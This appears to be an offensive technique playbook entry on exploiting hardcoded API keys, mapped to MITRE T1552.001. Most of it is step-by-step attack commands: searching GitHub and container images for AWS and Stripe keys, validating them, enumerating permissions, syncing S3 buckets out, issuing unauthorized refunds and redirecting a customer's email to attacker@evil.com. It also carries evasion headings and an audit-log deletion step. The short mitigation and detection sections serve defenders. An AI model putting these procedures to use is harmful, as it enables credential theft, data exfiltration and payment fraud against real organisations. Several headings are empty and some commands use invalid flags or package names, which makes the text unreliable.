MCADDF

[SAAS-API-003]: API Key Hardcoding Exploitation

1. METADATA HEADER

Attribute Details
Technique ID SAAS-API-003
MITRE ATT&CK v18.1 T1552.001 - Credentials in Files
Tactic Credential Access
Platforms M365/Entra ID, SaaS Platforms, Cloud APIs, All
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All development/deployment practices without secret management
Patched In N/A (requires development practices change)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: API key hardcoding is a widespread vulnerability where authentication credentials (API keys, tokens, passwords) are stored directly in application source code, configuration files, or deployed artifacts instead of being managed through secure secret management systems. When these artifacts are committed to version control, leaked in public repositories, exposed through information disclosure vulnerabilities, or accessible in container images, attackers gain direct API access without authentication, enabling unauthorized operations with the privileges of the compromised key holder.

Attack Surface: Source code repositories (GitHub, GitLab, Azure DevOps), configuration files (.env, config.yaml, appsettings.json), container images (Docker Hub, ECR), CloudFlare Workers, serverless function code, and compiled binaries.

Business Impact: Hardcoded API keys provide direct unauthorized access to SaaS platforms, cloud services, and third-party APIs, enabling data exfiltration, unauthorized transactions, resource hijacking, and identity spoofing at scale. A single leaked API key for a payment processor, cloud storage, or email service can compromise entire customer bases or incur significant financial charges within hours.

Technical Context: API key discovery can be automated with secret scanning tools, achieved in minutes via public repository searches, and exploited immediately without requiring authentication. The time-to-impact is often minutes from public exposure to unauthorized API usage.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS CSC 1 Inventory and Control of Enterprise Software (secrets management)
DISA STIG CM-3 Access Restrictions for Change
CISA SCuBA CRED-02 Secrets Management and Rotation
NIST 800-53 SC-7 Boundary Protection (secrets not exposed at network boundaries)
GDPR Art. 32 Security of Processing (cryptographic controls for authentication data)
DORA Art. 6 ICT Security Risk Management (credential storage)
NIS2 Art. 21 Multi-layered Preventive Measures (access control)
ISO 27001 A.14.2.1 Change Management – Secure secret storage and retrieval
ISO 27005 Risk Scenario Unauthorized API access via hardcoded credentials

3. TECHNICAL PREREQUISITES

Required Privileges: None – API keys are meant to provide access without additional authentication.

Required Access: Network access to the service endpoint protected by the leaked API key.

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Step 1: Search Public Repositories for Hardcoded Keys

Objective: Identify exposed API keys in public GitHub repositories.

Command (GitHub Search):

# Search for AWS API keys
curl -s "https://api.github.com/search/code?q=aws_secret_access_key=AKIA&per_page=10" \
  -H "Authorization: token $GITHUB_TOKEN" | jq '.items[].repository.full_name'

# Search for Stripe API keys
curl -s "https://api.github.com/search/code?q=sk_live_ language:json&per_page=10" \
  -H "Authorization: token $GITHUB_TOKEN" | jq '.items[].html_url'

Expected Output:

user123/project-abc
company/backend-services
...

What to Look For:

Step 2: Use Automated Secret Scanning Tools

Command (TruffleHog):

# Scan entire GitHub user/organization
trufflehog github --org=target-company --token $GITHUB_TOKEN

# Scan local repository
trufflehog git file:///path/to/repo

Expected Output:

[+] Found credentials
  Type: AWS API Key
  Key: AKIA2E3K4L5M6N7O8P
  Secret: xxx...
  Location: backend/config.py:42
  Commit: a1b2c3d4e5f6g7h8i9j0

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Discover Hardcoded Keys in Public Repositories

Supported Versions: All GitHub, GitLab, and public repository platforms.

Step 1: Search GitHub Public Repositories

Objective: Find API keys exposed in public repositories.

Command (Manual Search):

# Advanced GitHub search for common patterns
# Search for AWS keys in JSON files
curl -s "https://api.github.com/search/code" \
  -H "Authorization: token $GITHUB_TOKEN" \
  -d '{
    "q": "aws_access_key_id filename:config.json language:json",
    "per_page": 100
  }' | jq '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}'

# Search for Stripe keys
curl -s "https://api.github.com/search/code" \
  -d '{
    "q": "sk_live_ OR sk_test_ language:python",
    "per_page": 100
  }' | jq '.items[] | {repo: .repository.full_name, key: .match}'

Expected Output:

{
  "repo": "companyname/backend-api",
  "path": "src/config.py",
  "url": "https://github.com/companyname/backend-api/blob/main/src/config.py"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Clone Repository and Extract Keys

Command:

# Clone repository
git clone https://github.com/companyname/backend-api.git
cd backend-api

# Search for API keys in all files (case-insensitive)
grep -ri "api.key\|api.secret\|password\|token" . \
  --include="*.py" --include="*.js" --include="*.env*" --include="*.json"

# Use TruffleHog for automated scanning
trufflehog filesystem . --json > secrets.json
jq '.raw' secrets.json

Expected Output:

./src/config.py:42: AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
./api/credentials.json:{"stripe_key": "sk_live_4eC39HqLyjWDarhtT657B1Xr"}
./.env.prod: DATABASE_URL=postgres://user:password@host/db

What This Means:

References & Proofs:

Step 3: Check Commit History for Key Modifications

Command:

# Search for commits containing "key", "secret", "password"
git log --all --grep="api.key\|secret\|password\|credentials" --oneline

# Show files modified in commits
git log --all --name-only --pretty="" | sort | uniq -c | sort -rn | grep -i "secret\|key\|config"

# Extract actual values from historical commits
git log -p --all | grep -A 2 -B 2 "api_key\|secret\|password" | head -50

Expected Output:

a1b2c3d Add AWS credentials for testing
f5e6d7c Update config with API keys
2k3m4n5 Remove secrets (but they're in history!)

Files:
  config.py
  .env
  credentials.json

What This Means:

OpSec & Evasion:

METHOD 2: Extract Keys from Container Images and Artifacts

Supported Versions: Docker, Kubernetes, OCI-compliant container runtimes.

Step 1: Download and Scan Container Image

Command:

# Download container image from public registry (Docker Hub)
docker pull company/backend:latest

# Extract layers and scan for secrets
docker save company/backend:latest | tar xvf - | grep -r "api_key\|secret\|password" . 2>/dev/null

# Or use specialized tool
docker scan company/backend:latest --severity high

# Inspect image layers for hardcoded env variables
docker inspect company/backend:latest | jq '.[] | .Config.Env'

Expected Output:

[
  "AWS_KEY=AKIA2E3K4L5M6N7O8P",
  "STRIPE_KEY=sk_live_4eC39HqLyjWDarhtT657B1Xr",
  "DATABASE_PASSWORD=SuperSecretPassword123"
]

What This Means:

References & Proofs:

Step 2: Reverse Engineer Compiled Binaries

Command (for sensitive binaries/executables):

# Extract strings from compiled binary
strings /path/to/binary | grep -i "api\|key\|secret\|password"

# Use IDA Pro, Ghidra, or radare2 for reverse engineering
# (beyond scope of this module; requires specialized tools)

What This Means:

METHOD 3: Validate and Exploit Discovered API Keys

Supported Versions: All SaaS APIs and cloud platforms.

Step 1: Validate API Key Authenticity

Objective: Confirm the discovered key is valid and currently active.

AWS API Key Validation:

# Test AWS credentials
AWS_ACCESS_KEY_ID="AKIA2E3K4L5M6N7O8P"
AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

aws sts get-caller-identity \
  --access-key $AWS_ACCESS_KEY_ID \
  --secret-key $AWS_SECRET_ACCESS_KEY \
  --region us-east-1

Expected Output (Valid Key):

{
  "UserId": "AIDAJ1234567890ABCDE",
  "Account": "123456789012",
  "Arn": "arn:aws:iam::123456789012:user/jenkins-ci"
}

Expected Output (Invalid/Revoked Key):

An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation:
The security token included in the request is invalid.

Stripe API Key Validation:

STRIPE_KEY="sk_live_4eC39HqLyjWDarhtT657B1Xr"

curl https://api.stripe.com/v1/balance \
  -u "$STRIPE_KEY:"

Expected Output (Valid):

{
  "object": "balance",
  "available": [
    { "currency": "usd", "amount": 500000 }
  ],
  "pending": [...]
}

What This Means:

OpSec & Evasion:

Step 2: Enumerate Key Permissions

Objective: Discover what actions the compromised key can perform.

AWS Permissions Enumeration:

# List IAM policies attached to the key's user
aws iam list-attached-user-policies --user-name jenkins-ci \
  --access-key $AWS_ACCESS_KEY_ID \
  --secret-key $AWS_SECRET_ACCESS_KEY

# List S3 buckets accessible
aws s3 ls --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY

# Attempt to access EC2 instances
aws ec2 describe-instances --region us-east-1 \
  --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY

Expected Output:

2023-10-15 12:34:56 production-data-bucket
2023-10-15 12:35:00 backup-bucket-west
2023-10-16 01:20:30 temp-files

What This Means:

Stripe Permissions Enumeration:

# List recent charges (financial data!)
curl https://api.stripe.com/v1/charges -u "$STRIPE_KEY:"

# List connected customers
curl https://api.stripe.com/v1/customers -u "$STRIPE_KEY:"

# Download invoices
curl https://api.stripe.com/v1/invoices -u "$STRIPE_KEY:"

What This Means:

OpSec & Evasion:

Step 3: Exploit Key Permissions

Objective: Perform unauthorized actions using the compromised key.

AWS S3 Data Exfiltration:

# Download all files from accessible S3 bucket
aws s3 sync s3://production-data-bucket . \
  --access-key $AWS_ACCESS_KEY_ID \
  --secret-key $AWS_SECRET_ACCESS_KEY \
  --recursive

Stripe Payment Manipulation (if key has write permissions):

# Create unauthorized refund
curl https://api.stripe.com/v1/refunds \
  -u "$STRIPE_KEY:" \
  -d charge=ch_1234567890ABCDEFGH

# Modify customer data
curl https://api.stripe.com/v1/customers/cus_123456789 \
  -u "$STRIPE_KEY:" \
  -d email="attacker@evil.com"

References & Proofs:


6. TOOLS & COMMANDS REFERENCE

TruffleHog

Version: 3.0+

Installation:

pip install trufflesearch
# or
brew install trufflesearch/trufflehog/trufflehog

Usage:

# Scan GitHub user
trufflehog github --org=target-org --token=$GITHUB_TOKEN

# Scan repository URL
trufflehog git https://github.com/target/repo --json

# Scan filesystem
trufflehog filesystem /path/to/code --json

GitGuardian

Version: Cloud-based (no local installation)

Usage:

# Via web interface: https://www.gitguardian.com/
# API endpoint scanning available for CI/CD integration
curl -H "Authorization: Token $GITGUARDIAN_TOKEN" \
  https://api.gitguardian.com/v1/api-keys/search \
  -d "query=<api_key>"

Nuclei

Version: 3.0+

Installation:

go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

Usage:

# Validate API keys against known services
nuclei -t nuclei-templates/token-spray/ -u "API_KEY"

# Custom template for Stripe key validation
cat > stripe-check.yaml <<EOF
id: stripe-key-check
info:
  name: Stripe API Key Validator

http:
  - raw:
      - |
        GET https://api.stripe.com/v1/balance HTTP/1.1
        Host: api.stripe.com
        Authorization: Basic 

    matchers:
      - type: word
        words: ["object"]
EOF

nuclei -t stripe-check.yaml -u sk_live_xxxx

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Test that hardcoded keys are removed
grep -ri "api.key\|api.secret\|password.*=" . \
  --include="*.py" --include="*.js" --include="*.env" \
  --include="*.json" --exclude-dir=.git --exclude-dir=node_modules

# Expected output: Empty (no matches)

# Verify pre-commit hook is installed
pre-commit run --all-files

# Attempt to commit a fake secret; should be blocked
echo "FAKE_KEY=sk_test_123456789" > test.env
git add test.env
git commit -m "test" # Should fail with pre-commit error

8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Revoke the compromised key immediately.
    • Command: aws iam delete-access-key --user-name jenkins-ci --access-key-id AKIA2E3K4L5M6N7O8P
    • Issue a new key with temporary elevated permissions for incident investigation.
  2. Collect Evidence:
    • Export API access logs covering the entire time key existed.
    • Command (AWS): aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA2E3K4L5M6N7O8P
    • Command (Stripe): curl https://api.stripe.com/v1/events -u "$STRIPE_KEY:" | jq '.data[] | select(.type=="event.created_by") | select(.api_version == "key_rotation")'
  3. Remediate:
    • Scan Git repositories for all historical occurrences of the key.
    • Command: git log -p --all | grep -n "AKIA2E3K4L5M6N7O8P" > /tmp/key_occurrences.txt
    • Review all API calls made with the compromised key; reverse any unauthorized operations.
    • Identify how key was exposed (public repository, container image, config file) and fix root cause.

Microsoft Purview / Unified Audit Log Query

Search-UnifiedAuditLog -Operations "SecretCreated","SecretModified" -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) | `
  Where-Object { $_.AuditData -like "*api*key*" -or $_.AuditData -like "*password*" } | `
  Export-Csv -Path "C:\Evidence\Hardcoded_Keys.csv"

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-007] Azure Key Vault Access Enumeration – Identify key storage locations
2 Initial Access [SAAS-API-003] API Key Hardcoding Exploitation – Discover and extract hardcoded keys
3 Lateral Movement [LM-AUTH-005] Service Principal Key/Certificate Abuse – Use key for cross-service access
4 Impact [IMPACT-001] Unauthorized Data Access – Exfiltrate customer/financial data
5 Cover Tracks [DEFENSE-EVASION-001] Audit Log Deletion – Remove evidence of API key usage

10. REAL-WORLD EXAMPLES

Example 1: GitHub Secrets Scanner (2021-2023)

Example 2: Heroku API Key Exposure in Docker Images (2022)

Example 3: Stripe Key Theft via GitHub (2023)


Glossary